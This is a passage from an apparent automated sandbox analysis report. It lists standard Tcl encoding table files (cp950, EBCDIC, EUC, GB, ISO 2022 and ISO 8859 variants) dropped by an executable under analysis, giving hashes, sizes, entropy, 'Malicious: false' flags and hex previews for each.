Preview:	# Encoding file: cp950, multi-byte.M.003F 0 88.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\dingbats.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1093
Entropy (8bit):	3.7149721845090347
Encrypted:	false
SSDEEP:	24:vJM0UmJvRjuyfqYCsUBOdXBCbtwHviANskfUPiXFtoE4OSFgHrBPkq:vKfmOEqYCs6CXRPiANIiXFt9XSMdPH
MD5:	7715CC78774FEA9EB588397D8221FA5B
SHA1:	6A21D57B44A0856ABCDE61B1C16CB93F4E4C3D74
SHA-256:	3BDE9AE7EAF9BE799C84B2AA4E80D78BE8ACBACA1E486F10B9BDD42E3AEDDCB2
SHA-512:	C7500B9DD36F7C92C1A92B8F7BC507F6215B12C26C8CB4564A8A87299859C29C05DEFD3212DE8F2DB76B7DFAB527D6C7B10D1E9A9F6B682F1B5BC4911CFAD26C
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: dingbats, single-byte.S.003F 1 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.00202701270227032704260E2706270727082709261B261E270C270D270E270F.2710271127122713271427152716271727182719271A271B271C271D271E271F.2720272127222723272427252726272726052729272A272B272C272D272E272F.2730273127322733273427352736273727382739273A273B273C273D273E273F.2740274127422743274427452746274727482749274A274B25CF274D25A0274F.27502751275225B225BC25C6275625D727582759275A275B275C275D275E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000276127622763276427652766276726632666266526602460246124622463.2464246524662467246824692776277727782779277A277B277C277D277E277F.2780278127822783278427852786278727882789278A278B278C278D278E278F.2790279127922793279421922194219527982799279A279B279C279D279E279F.27A027A127A227A327A427A527A627A727A82

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\ebcdic.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	2.92745681322567
Encrypted:	false
SSDEEP:	24:scICJZoBqoQzRKCGW5JyY9yZk3Vvd2p4Z4XgiAmV3q:JmqrRKCtEYYZk3V4WSwitV6
MD5:	67212AAC036FE54C8D4CDCB2D03467A6
SHA1:	465509C726C49680B02372501AF7A52F09AB7D55
SHA-256:	17A7D45F3B82F2A42E1D36B13DB5CED077945A3E82700947CD1F803DD2A60DBF
SHA-512:	9500685760800F5A31A755D582FCEDD8BB5692C27FEEEC2709D982C0B8FCB5238AFB310DCB817F9FE140086A8889B7C60D5D1017764CEB03CB388DD22C8E0B3E
Malicious:	false
Reputation:	unknown
Preview:	S.006F 0 1.00.0000000100020003008500090086007F0087008D008E000B000C000D000E000F.0010001100120013008F000A0008009700180019009C009D001C001D001E001F.0080008100820083008400920017001B00880089008A008B008C000500060007.0090009100160093009400950096000400980099009A009B00140015009E001A.002000A000E200E400E000E100E300E500E700F10060002E003C0028002B007C.002600E900EA00EB00E800ED00EE00EF00EC00DF00210024002A0029003B009F.002D002F00C200C400C000C100C300C500C700D1005E002C0025005F003E003F.00F800C900CA00CB00C800CD00CE00CF00CC00A8003A002300400027003D0022.00D800610062006300640065006600670068006900AB00BB00F000FD00FE00B1.00B0006A006B006C006D006E006F00700071007200AA00BA00E600B800C600A4.00B500AF0073007400750076007700780079007A00A100BF00D000DD00DE00AE.00A200A300A500B700A900A700B600BC00BD00BE00AC005B005C005D00B400D7.00F900410042004300440045004600470048004900AD00F400F600F200F300F5.00A6004A004B004C004D004E004F00500051005200B900FB00FC00DB00FA00FF.00D900F70053005400550056005700580059005A00B200D400D600D200D300D5.00300031003

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\euc-cn.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	85574
Entropy (8bit):	2.3109636068522357
Encrypted:	false
SSDEEP:	384:SgOycCs6mBixg1k6y8NMSwR8JMvz6VaVZmASVHBtGtRfS7FXtQ/RSJj9fNLSmXn/:SdC4BmCkjSwAO6VIrahNrVNTSYG3Oln
MD5:	9A60E5D1AB841DB3324D584F1B84F619
SHA1:	BCCC899015B688D5C426BC791C2FCDE3A03A3EB5
SHA-256:	546392237F47D71CEE1DAA1AAE287D94D93216A1FABD648B50F59DDCE7E8AE35
SHA-512:	E9F42B65A8DFB157D1D3336A94A83D372227BAA10A82EB0C6B6FB5601AA352A576FA3CDFD71EDF74A2285ABCA3B1D3172BB4B393C05B3B4AB141AAF04B10F426
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: euc-cn, multi-byte.M.003F 0 82.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\euc-jp.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	82537
Entropy (8bit):	2.267779266005065
Encrypted:	false
SSDEEP:	384:c7C2o8+/s5VHxANqsFvGFkMpUEg4MWv947ebZ745zIPcvZ3p6JhE1mrUH2xUoSuL:U+UTHxAlFxkUeGcOmaj6JhEMrUwLf3d1
MD5:	453626980EB36062E32D98ACECCCBD6E
SHA1:	F8FCA3985009A2CDD397CB3BAE308AF05B0D7CAC
SHA-256:	3BFB42C4D36D1763693AEFCE87F6277A11AD5A756D691DEDA804D9D0EDCB3093
SHA-512:	0F026E1EF3AE1B08BBC7050DB0B181B349511F2A526D2121A6100C426674C0FB1AD6904A5CC11AA924B7F03E33F6971599BAF85C94528428F2E22DCB7D6FE443
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: euc-jp, multi-byte.M.003F 0 79.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D0000008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\euc-kr.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	93918
Entropy (8bit):	2.3267174168729032
Encrypted:	false
SSDEEP:	768:1/W3oNwgt2qyVY1OVxk6ZN4KYDN1uq44hohExh:1/W3pqv10xb+KYTuHEh
MD5:	93FEADA4D8A974E90E77F6EB8A9F24AB
SHA1:	89CDA4FE6515C9C03551E4E1972FD478AF3A419C
SHA-256:	1F1AD4C4079B33B706E948A735A8C3042F40CC68065C48C220D0F56FD048C33B
SHA-512:	7FC43C273F8C2A34E7AD29375A36B6CAC539AC4C1CDCECFAF0B366DCFE605B5D924D09DAD23B2EE589B1A8A63EE0F7A0CE32CE74AC873369DE8555C9E27A5EDF
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: euc-kr, multi-byte.M.003F 0 90.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\gb12345.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	86619
Entropy (8bit):	2.2972446758995697
Encrypted:	false
SSDEEP:	384:XSeUMIZQkyMiS4Y3fPOYo55XVi684z6WwQrrNoTRoyzDciB126afGG9whRJGAy/I:XhcQjSr3XeXVbmWdWd/zl5auG2hU/I
MD5:	12DBEEF45546A01E041332427FEC7A51
SHA1:	5C8E691AE3C13308820F4CF69206D765CFD5094B
SHA-256:	0C0DF17BFECE897A1DA7765C822453B09866573028CECCED13E2EFEE02BCCCC4
SHA-512:	FC8A250EE17D5E94A765AFCD9464ECAE74A4E2FF594A8632CEAEC5C84A3C4D26599642DA42E507B7873C37849D3E784CFB0792DE5B4B4262428619D7473FF611
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: gb12345, double-byte.D.233F 0 83.21.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.000030003001300230FB02C902C700A8300330052015FF5E2225202620182019.201C201D3014301530083009300A300B300C300D300E300F3016301730103011.00B100D700F72236222722282211220F222A222922082237221A22A522252220.23122299222B222E2261224C2248223D221D2260226E226F22642265221E2235.22342642264000B0203220332103FF0400A4FFE0FFE1203000A7211626062605.25CB25CF25CE25C725C625A125A025B325B2203B219221902191219330130000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\gb1988.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.1978221748141253
Encrypted:	false
SSDEEP:	24:qrmTUmJvRju36hVbsZiAMiZyb7PN8pUPnfk5JM0RHFj:qSgmO8VIwAMiw/PNPQPFj
MD5:	06645FE6C135D2EDE313629D24782F98
SHA1:	49C663AC26C1FE4F0FD1428C9EF27058AEE6CA95
SHA-256:	A2717AE09E0CF2D566C245DC5C5889D326661B40DB0D5D9A6D95B8E6B0F0E753
SHA-512:	DB544CFE58753B2CF8A5D65321A2B41155FE2430DB6783DD2F20E1244657482072633D16C8AC99765C113B60E99C8718263C483763A34C5E4BB04B4FFBA41976
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: gb1988, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.002000210022002300A500250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D203E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000FF61FF62FF63FF64FF65FF66FF67FF68FF69FF6AFF6BFF6CFF6DFF6EFF6F.FF70FF71FF72FF73FF74FF75FF76FF77FF78FF79FF7AFF7BFF7CFF7DFF7EFF7F.FF80FF81FF82FF83FF84FF85FF86FF87FF88FF89FF8AFF8BFF8CFF8DFF8EFF8F.FF90FF91FF92FF93FF94FF95FF96FF97FF98FF99FF9AFF9BFF9CFF9DFF9EFF9F.000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\gb2312-raw.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	84532
Entropy (8bit):	2.3130049332819502
Encrypted:	false
SSDEEP:	384:KSevutIzbwixZ1J9vS+MReR8cMvwKVDAcmaj8HEtG0waFtFsKQ2RzIjTfYahm6n3:Kat+wmTJYReltKVMeYkXOjYo5tG3VN+
MD5:	BF74C90D28E52DD99A01377A96F462E3
SHA1:	DBA09C670F24D47B95D12D4BB9704391B81DDA9A
SHA-256:	EC11BFD49C715CD89FB9D387A07CF54261E0F4A1CCEC1A810E02C7B38AD2F285
SHA-512:	8F5A86BB57256ED2412F6454AF06C52FB44C83EB7B820C642CA9216E9DB31D6EC22965BF5CB9E8AE4492C77C1F48EB2387B1CBDC80F6CDA33FA57C57EC9FF9CD
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: gb2312, double-byte.D.233F 0 81.21.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.000030003001300230FB02C902C700A8300330052015FF5E2225202620182019.201C201D3014301530083009300A300B300C300D300E300F3016301730103011.00B100D700F72236222722282211220F222A222922082237221A22A522252220.23122299222B222E2261224C2248223D221D2260226E226F22642265221E2235.22342642264000B0203220332103FF0400A4FFE0FFE1203000A7211626062605.25CB25CF25CE25C725C625A125A025B325B2203B219221902191219330130000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.00000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\gb2312.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	85574
Entropy (8bit):	2.3109636068522357
Encrypted:	false
SSDEEP:	384:SgOycCs6mBixg1k6y8NMSwR8JMvz6VaVZmASVHBtGtRfS7FXtQ/RSJj9fNLSmXn/:SdC4BmCkjSwAO6VIrahNrVNTSYG3Oln
MD5:	9A60E5D1AB841DB3324D584F1B84F619
SHA1:	BCCC899015B688D5C426BC791C2FCDE3A03A3EB5
SHA-256:	546392237F47D71CEE1DAA1AAE287D94D93216A1FABD648B50F59DDCE7E8AE35
SHA-512:	E9F42B65A8DFB157D1D3336A94A83D372227BAA10A82EB0C6B6FB5601AA352A576FA3CDFD71EDF74A2285ABCA3B1D3172BB4B393C05B3B4AB141AAF04B10F426
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: euc-cn, multi-byte.M.003F 0 82.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso2022-jp.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.915818681498601
Encrypted:	false
SSDEEP:	3:SOd5MNXVSVLqRIBXSl1AEXMV/RRDfANDemSjs5dqcRcRZMvs5BCUNZ:SVNFS01K+MtkvSjwqd9NZ
MD5:	224219C864280FA5FB313ADBC654E37D
SHA1:	39E20B41CFA8B269377AFA06F9C4D66EDD946ACB
SHA-256:	E12928E8B5754D49D0D3E799135DE2B480BA84B5DBAA0E350D9846FA67F943EC
SHA-512:	6E390D83B67E2FD5BCAC1BA603A9C6F8BE071FA64021612CE5F8EE33FD8E3840A8C31A7B00134A0039E46BDC66BEF7EB6EA1F8663BA72816B86AF792EF7BDC56
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso2022-jp, escape-driven.E.name..iso2022-jp.init..{}.final..{}.ascii..\x1b(B.jis0201..\x1b(J.jis0208..\x1b$B.jis0208..\x1b$@.jis0212..\x1b$(D.gb2312..\x1b$A.ksc5601..\x1b$(C.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso2022-kr.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	115
Entropy (8bit):	4.945508829557185
Encrypted:	false
SSDEEP:	3:SOd5MNXVTEXIBXSl1AEXNELmUHhqQc6XfUNOvn:SVNFS1K+9Qc6sNA
MD5:	F6464F7C5E3F642BC3564D59B888C986
SHA1:	94C5F39256366ABB68CD67E3025F177F54ECD39D
SHA-256:	6AC0F1845A56A1A537B9A6D9BCB724DDDF3D3A5E61879AE925931B1C0534FBB7
SHA-512:	B9A7E0A9344D8E883D44D1A975A7C3B966499D34BA6206B15C90250F88A8FA422029CEF190023C4E4BE806791AC3BEA87FD8872B47185B0CE0F9ED9C38C41A84
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso2022-kr, escape-driven.E.name..iso2022-kr.init..\x1b$)C.final..{}.iso8859-1.\x0f.ksc5601..\x0e.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso2022.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	4.925633473589168
Encrypted:	false
SSDEEP:	3:SOd5MNXVUW+IBXSl1AEXM56DfqQc6WHmSjs5dReQSXcRcRZMvs5BCUNxXeR5IHRv:SVNFUX1K+M55Qc6WGSjwRDSXd9NGIHRv
MD5:	745464FF8692E3C3D8EBBA38D23538C8
SHA1:	9D6F077598A5A86E6EB6A4EEC14810BF525FBD89
SHA-256:	753DDA518A7E9F6DC0309721B1FAAE58C9661F545801DA9F04728391F70BE2D0
SHA-512:	E919677CC96DEF4C75126A173AF6C229428731AB091CDDBB2A6CE4EB82BCD8191CE64A33B418057A15E094A48E846BEE7820619E414E7D90EDA6E2B66923DDA5
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso2022, escape-driven.E.name..iso2022.init..{}.final..{}.iso8859-1.\x1b(B.jis0201..\x1b(J.gb1988..\x1b(T.jis0208..\x1b$B.jis0208..\x1b$@.jis0212..\x1b$(D.gb2312..\x1b$A.ksc5601..\x1b$(C.jis0208..\x1b&@\x1b$B.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-1.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	3.163043970763833
Encrypted:	false
SSDEEP:	24:iyTUmJvRju3ShVbsZiAMiZyb7P4UPvvPNNAkbnMH+tjg:iygmOEVIwAMiw/PTvok7zE
MD5:	E3BAE26F5D3D9A4ADCF5AE7D30F4EC38
SHA1:	A71B6380EA3D23DC0DE11D3B8CEA86A4C8063D47
SHA-256:	754EF6BF3A564228AB0B56DDE391521DCC1A6C83CFB95D4B761141E71D2E8E87
SHA-512:	AFED8F5FE02A9A30987736F08B47F1C19339B5410D6020CC7EA37EA0D717A70AF6CDDC775F53CE261FCF215B579206E56458D61AB4CEB44E060BD6B3AC2F4C41
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-1, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A000A100A200A300A400A500A600A700A800A900AA00AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B900BA00BB00BC00BD00BE00BF.00C000C100C200C300C400C500C600C700C800C900CA00CB00CC00CD00CE00CF.00D000D100D200D300D400D500D600D700D800D900DA00DB00DC00DD00DE00DF.00E000E100E200E300E400E500E600E700E8

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-10.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.2483197762497458
Encrypted:	false
SSDEEP:	24:jTUmJvRju3ShVbsZiAMiZyb7P4UP6L2yhBKyta:jgmOEVIwAMiw/PT6L2Ryta
MD5:	162E76BD187CB54A5C9F0B72A082C668
SHA1:	CEC787C4DE78F9DBB97B9C44070CF2C12A2468F7
SHA-256:	79F6470D9BEBD30832B3A9CA59CD1FDCA28C5BE6373BD01D949EEE1BA51AA7A8
SHA-512:	ADDBCA6E296286220FFF449D3E34E5267528627AFFF1FCBD2B9AC050A068D116452D70308049D88208FB7CB2C2F7582FCF1703CF22CFC125F2E6FA89B8A653FE
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-10, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A0010401120122012A0128013600A7013B011001600166017D00AD016A014A.00B0010501130123012B0129013700B7013C011101610167017E2015016B014B.010000C100C200C300C400C500C6012E010C00C9011800CB011600CD00CE00CF.00D00145014C00D300D400D500D6016800D8017200DA00DB00DC00DD00DE00DF.010100E100E200E300E400E500E6012F010

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-13.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.267798724121087
Encrypted:	false
SSDEEP:	24:olTUmJvRju3ShVbsZiAMiZyb7P4UP1w4LaxUVG4dT:olgmOEVIwAMiw/PT+4VfT
MD5:	BF3993877A45AC7091CFC81CFD4A4D43
SHA1:	D462934A074EE13F2C810463FD061084953F77BC
SHA-256:	33C6072A006BA4E9513D7B7FD3D08B1C745CA1079B6D796C36B2A5AE8E4AE02B
SHA-512:	17489E6AD6A898628239EA1B43B4BE81ECC33608F0FD3F7F0E19CF74F7FC4752813C3C21F1DC73E9CC8765E23C63ED932799905381431DAF4E10A88EC29EBF6E
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-13, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A0201D00A200A300A4201E00A600A700D800A9015600AB00AC00AD00AE00C6.00B000B100B200B3201C00B500B600B700F800B9015700BB00BC00BD00BE00E6.0104012E0100010600C400C501180112010C00C90179011601220136012A013B.01600143014500D3014C00D500D600D701720141015A016A00DC017B017D00DF.0105012F0101010700E400E501190113010

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-14.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.296489289648924
Encrypted:	false
SSDEEP:	24:vTUmJvRju3ShVbsZiAMiZyb7P4UPt6C5AkE7MH+tZS4Y:vgmOEVIwAMiw/PTAQAkCzsP
MD5:	3BE4986264587BEC738CC46EBB43D698
SHA1:	62C253AA7A868CE32589868FAB37336542457A96
SHA-256:	8D737283289BAF8C08EF1DD7E47A6C775DACE480419C5E2A92D6C0E85BB5B381
SHA-512:	CB9079265E47EF9672EAACFCE474E4D6771C6F61394F29CC59C9BBE7C99AE89A0EACD73F2BCDD8374C4E03BE9B1685F463F029E35C4070DF9D1B143B02CAD573
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-14, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A01E021E0300A3010A010B1E0A00A71E8000A91E821E0B1EF200AD00AE0178.1E1E1E1F012001211E401E4100B61E561E811E571E831E601EF31E841E851E61.00C000C100C200C300C400C500C600C700C800C900CA00CB00CC00CD00CE00CF.017400D100D200D300D400D500D61E6A00D800D900DA00DB00DC00DD017600DF.00E000E100E200E300E400E500E600E700E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-15.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1095
Entropy (8bit):	3.1878838020538374
Encrypted:	false
SSDEEP:	24:mTUmJvRju3ShVbsZiAMiZyb7P4UPvRarkbnMH+tjg:mgmOEVIwAMiw/PTvqk7zE
MD5:	6AE49F4E916B02EB7EDB160F88B5A27F
SHA1:	49F7A42889FB8A0D78C80067BDE18094DBE956EE
SHA-256:	C7B0377F30E42048492E4710FE5A0A54FA9865395B8A6748F7DAC53B901284F9
SHA-512:	397E636F4B95522FD3909B4546A1B7E31E92388DAE4F9F6B638875449E3498B49320F4C4A47168C7ADD43C78EF5680CAAEE40661DDC8205687532D994133EA3B
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: iso8859-15, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.00A000A100A200A320AC00A5016000A7016100A900AA00AB00AC00AD00AE00AF.00B000B100B200B3017D00B500B600B7017E00B900BA00BB01520153017800BF.00C000C100C200C300C400C500C600C700C800C900CA00CB00CC00CD00CE00CF.00D000D100D200D300D400D500D600D700D800D900DA00DB00DC00DD00DE00DF.00E000E100E200E300E400E500E600E700E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\iso8859-16.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
